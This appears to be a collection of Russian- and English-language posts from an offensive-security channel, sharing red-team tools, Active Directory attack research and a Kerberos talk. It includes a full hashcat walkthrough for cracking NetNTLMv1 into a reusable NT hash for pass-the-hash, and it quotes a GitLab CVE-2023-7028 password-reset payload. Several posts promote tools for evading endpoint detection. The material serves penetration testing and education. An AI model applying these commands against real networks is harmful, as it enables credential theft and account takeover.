Всем привет! Сегодня в УрФУ выступил с докладом на тему Kerberos, разобрали некоторые базовые атаки, принцип работы и основные, самые популярные механизмы, которые встречаются при каждом внутреннем пентесте. В докладе старался не погружаться в уж очень страшные дебри, а рассказать все более-менее простым понятным человеческим языком.


Видео:
https://vk.com/video-210214143_456239047

Презентацию прикрепил во вложениях :)

P.S. Само собой, будет продолжение :)

⚛️ Nuclei AI — Browser Extension

Nuclei AI Browser Extension, built on top of cloud.projectdiscovery.io, simplifies the creation of vulnerability templates, by enabling users to extract vulnerability information from any webpages to quickly and efficiently create nuclei templates, saving valuable time and effort.

🚀 Features

— Context Menu Option to Generate Template
— HackerOne Report to Nuclei Template Generation
— ExploitDB exploit to Nuclei Template Generation
— BugCrowd / Intigriti / Synack support (Coming soon)

🔗 https://github.com/projectdiscovery/nuclei-ai-extension

#nuclei #template #generator #chrome #extension

Как и в том году мой бывший коллега со своей командой CTI создали новый огромный отчёт. На этот раз про азиатским APT группировки!
Отчёт содержит 370 страниц подробного анализа о различных азиатских APT группировок с описанием TTPs, анализом действий атакующих на основе "Unified Kill Chain" и много других крутых штук, отчёт доступен для скачивания в RU и EN вариантах.

P.S. Данный материал на 14:00 по мск эксклюзив.

Давно думал, публиковать свой софт или нет... Вот и решил для начала переписать Rubeus (не весь конечно) на C и перевести в COF файлы. В общем, из коробки работает с Cobalt Strike и Havoc😁😁

https://github.com/RalfHacker/Kerbeus-BOF

#bof #git #soft #redteam #pentest

Что делать, если на пентесте вы получили NetNTLMv1 хеш учетной записи? Как пример - вы можете выполнить ntlm relay атаку или восстановить NTLM хеш по радужной таблице на сервисе crack.sh. Но что то пошло не так...Но сервис crack.sh уже больше полугода не работает. Что же делать, когда Relay атака бесполезна, а радужных таблиц нет? Ответ простой - брутить! На самом деле NetNTLMv1 хеш состоит из 2 3 блоков зашифрованных с помощью DES. А про DES мы помним, что он какой то не безопасный. Далее описаны простые шаги, как вы можете перебрать всё пространство ключей с помощью утилиты Hashcat. Данная техника не нова, она много раз описана в интернете, но вспомнить этот метод будет не лишним перед следующим постом.
1. Получаем NetNTLMv1 хеш с помощью Responder, воспользовавшись флагами --lm и --disable-ess.
2. Если не хватает терпения разбить хеш на 3 равные части - качаем скрипт и запускаем следующим образом

python https://ntlmv1.py --nossp <ntlmv1_hash_nossp>

3. Если вам хватило терпения и вы вручную разбили хеш на 3 равные части - допишем к нему Challenge и сформируем файл для брута в следующем виде (последнюю 3-ю часть не обязательно брутить, что с ней делать я расскажу позже)

727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

4. Далее запускаем брут следующим образом

hashcat -m 14000 -a 3 -1 /usr/share/hashcat/charsets/DES_full.hcchr  --hex-charset des.file '?1?1?1?1?1?1?1?1'

На 8 картах 1080Ti это займет максимум 6 суток.
На 4 картах 4090Ti это займет максимум 1 день и 13 часов.
5. Получим на выходе такой файл:

727b4e35f947129e:1122334455667788:$HEX[8923bdfdaf753f63]
a52b9cdedae86934:1122334455667788:$HEX[17d741d7ddc1c36f]

6. Теперь соберем блоки обратно в NTLM хеш

perl deskey_to_ntlm.pl 8923bdfdaf753f63
output= 8846f7eaee8fb1

perl deskey_to_ntlm.pl 17d741d7ddc1c36f
output= 17ad06bdd830b7

7. Помните мы 3-й блок не стали брутить? Все потому что восстановить оставшуюся часть NTLM хеша не составит труда, т.к. значимые данные занимают всего 2 байта, а остальное padding (Подробности на приложенном скрине). Восстановить данную часть мы можем мгновенно полным перебором на CPU.

./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
output= 586c

8. Собираем NTLM хеш из полученных частей и можем использовать его для атак Pass The Hash, Over Pass The Ticket и Silver Ticket.

8846f7eaee8fb1 + 17ad06bdd830b7 + 586c

NT hash
8846f7eaee8fb117ad06bdd830b7586c

Вот и мы с @securixy_kz решили запилить о больном #meme #certs

📄 ADCS: New Ways to Abuse ManageCA Permissions

The Certsrv service exhibits a race condition during the creation of CRL files, any standard user with ManageCA ACL and publish the CDP and carry out arbitrary file movements, ultimately leading to domain elevation of privileges.

🔗 https://whoamianony.top/posts/ad-cs-new-ways-to-abuse-manageca-permissions/

#ad #adcs #manageca #privesc

🔐 Exploiting WSUS with MITM for ADCS ESC8 Attack

Discover how attackers abuse misconfigured WSUS servers to escalate privileges through ADCS vulnerabilities. Delve into the intricacies of Windows Server Update Services and the potential risks associated with misconfigurations.

📝 Research:
https://j4s0nmo0n.github.io/belettetimoree.github.io/2023-12-01-WSUS-to-ESC8.html

#ad #adcs #wsus #mitm

🌐 The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools

See how SafeBreach Labs Researchers developed a brand new set of highly flexible process injection techniques that are able to completely bypass leading endpoint detection and response (EDR) solutions.

💉 PoolParty

A collection of fully-undetectable process injection techniques abusing Windows Thread Pools.

PoolParty Variants:

1 - Overwrite the start routine of the target worker factory
2 - Insert TP_WORK work item to the target process's thread pool
3 - Insert TP_WAIT work item to the target process's thread pool
4 - Insert TP_IO work item to the target process's thread pool
5 - Insert TP_ALPC work item to the target process's thread pool
6 - Insert TP_JOB work item to the target process's thread pool
7 - Insert TP_DIRECT work item to the target process's thread pool
8 - Insert TP_TIMER work item to the target process's thread pool

AtlasLdr

Reflective x64 PE/DLL Loader implemented using Dynamic Indirect Syscalls

Features:

* Retrieve of DLL and PE from a remote server
* Manual Mapping on a remote process
* Position independent code
* Use of indirect Syscalls
- ZwAllocateVirtualMemory
- ZwProtectVirtualMemory
- ZwQuerySystemInformation
- ZwFreeVirtualMemory
- ZwCreateThreadEx
* Single stub for all Syscalls
- Dynamic SSN retrieve
- Dynamic Syscall address resolution
* Atlas also uses
- LdrLoadDll
- NtWriteVirtualMemory
* Custom implementations of
- GetProcAddress
- GetModuleHandle
* API hashing
* Cleanup on error
* Variable EntryPoint

SMTP Smuggling - Spoofing E-Mails Worldwide. Очень крутой, при этом подробный ресерч. Вкратце, благодаря смаглу сообщений, позволяет отправить сообщение от имени любого пользователя почтового сервера в обход фильтров.

https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/

P.S. Ну и судя по реакции вендоров, они того рот ... патчить это дело😁 А значит ждем много отчётов об апте, использующей данный метод

#initial #fishing #pentest #redteam

🎄Happy New Year!

Happy holiday to you, dear friends and subscribers of my channel!

Love you all ♥️

Stinger

CIA UAC bypass implementation of Stinger that obtains the token from an auto-elevated process, modifies it, and reuses it to execute as Administrator

New article by our researcher @snovvcrash: "Python ❤️ SSPI: Teaching #Impacket to Respect Windows SSO".

🥷 Read the blog post and you'll fly under the radar of endpoint security mechanisms as well as custom network detection rules more easily.

https://swarm.ptsecurity.com/python-sspi-teaching-impacket-to-respect-windows-sso/

Курьёзная критичная уязвимость в GitLab - восстановление пароля от аккаунта на левый email (CVE-2023-7028). 🤦‍♂️🙂 Уязвимы версии GitLab CE/EE с 16.1.0. CVSS 10. Патчи доступны.

Как это произошло?

В версии 16.1.0 было внесено изменение, позволяющее пользователям сбрасывать свой пароль используя дополнительный адрес электронной почты. Уязвимость является результатом ошибки в процессе верификации электронной почты.

В микроблогах пишут, что PoC буквально такой:

user[email][][email protected]&user[email][][email protected]

Пользователи, у которых включена двухфакторная аутентификация, уязвимы для сброса пароля, но не для захвата учетной записи, поскольку для входа в систему требуется второй фактор аутентификации.

Двухфакторка рулит. GitLab - решето. 🙂

@avleonovrus #GitLab